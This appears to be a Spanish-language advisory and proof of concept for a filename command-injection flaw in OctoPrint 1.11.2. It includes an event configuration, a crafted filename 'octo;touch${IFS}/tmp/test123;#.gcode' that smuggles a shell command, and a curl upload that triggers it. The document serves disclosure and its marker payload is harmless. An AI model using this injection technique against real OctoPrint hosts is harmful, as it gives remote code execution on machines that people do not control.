
En OctoPrint versión <=1.11.2, un atacante con acceso de carga de archivos (por ejemplo, una clave de API válida o una sesión) puede crear un nombre de archivo malicioso que evade la sanitización y que posteriormente es ejecutado por el sistema de eventos de OctoPrint, lo que conduce a la ejecución remota de código (RCE) en el host.
En OctoPrint versión <=1.11.2, un atacante con acceso de subida de archivos (p. ej., una clave API válida o una sesión) puede crear un nombre de archivo malicioso que evade el saneamiento y que posteriormente es ejecutado por el sistema de eventos de OctoPrint, lo que conduce a la ejecución remota de código (RCE) en el host
Descargada la última versión estable: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Detener el servicio de OctoPrint una vez realizados los pasos anteriores.
Siguiendo la documentación de eventos de OctoPrint:
Editar ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"
Crear /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
Reiniciar el servicio de OctoPrint.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Explicación: ${IFS} es el Separador de Campos Interno (Internal Field Separator) del shell (normalmente un espacio). Evita el saneamiento cuando se inyecta.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123
Si /tmp/test123 existe, el comando inyectado se ejecutó correctamente → RCE confirmado.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
Cuando se sube un archivo:
;, ${IFS}, etc.) se pasa a un shell.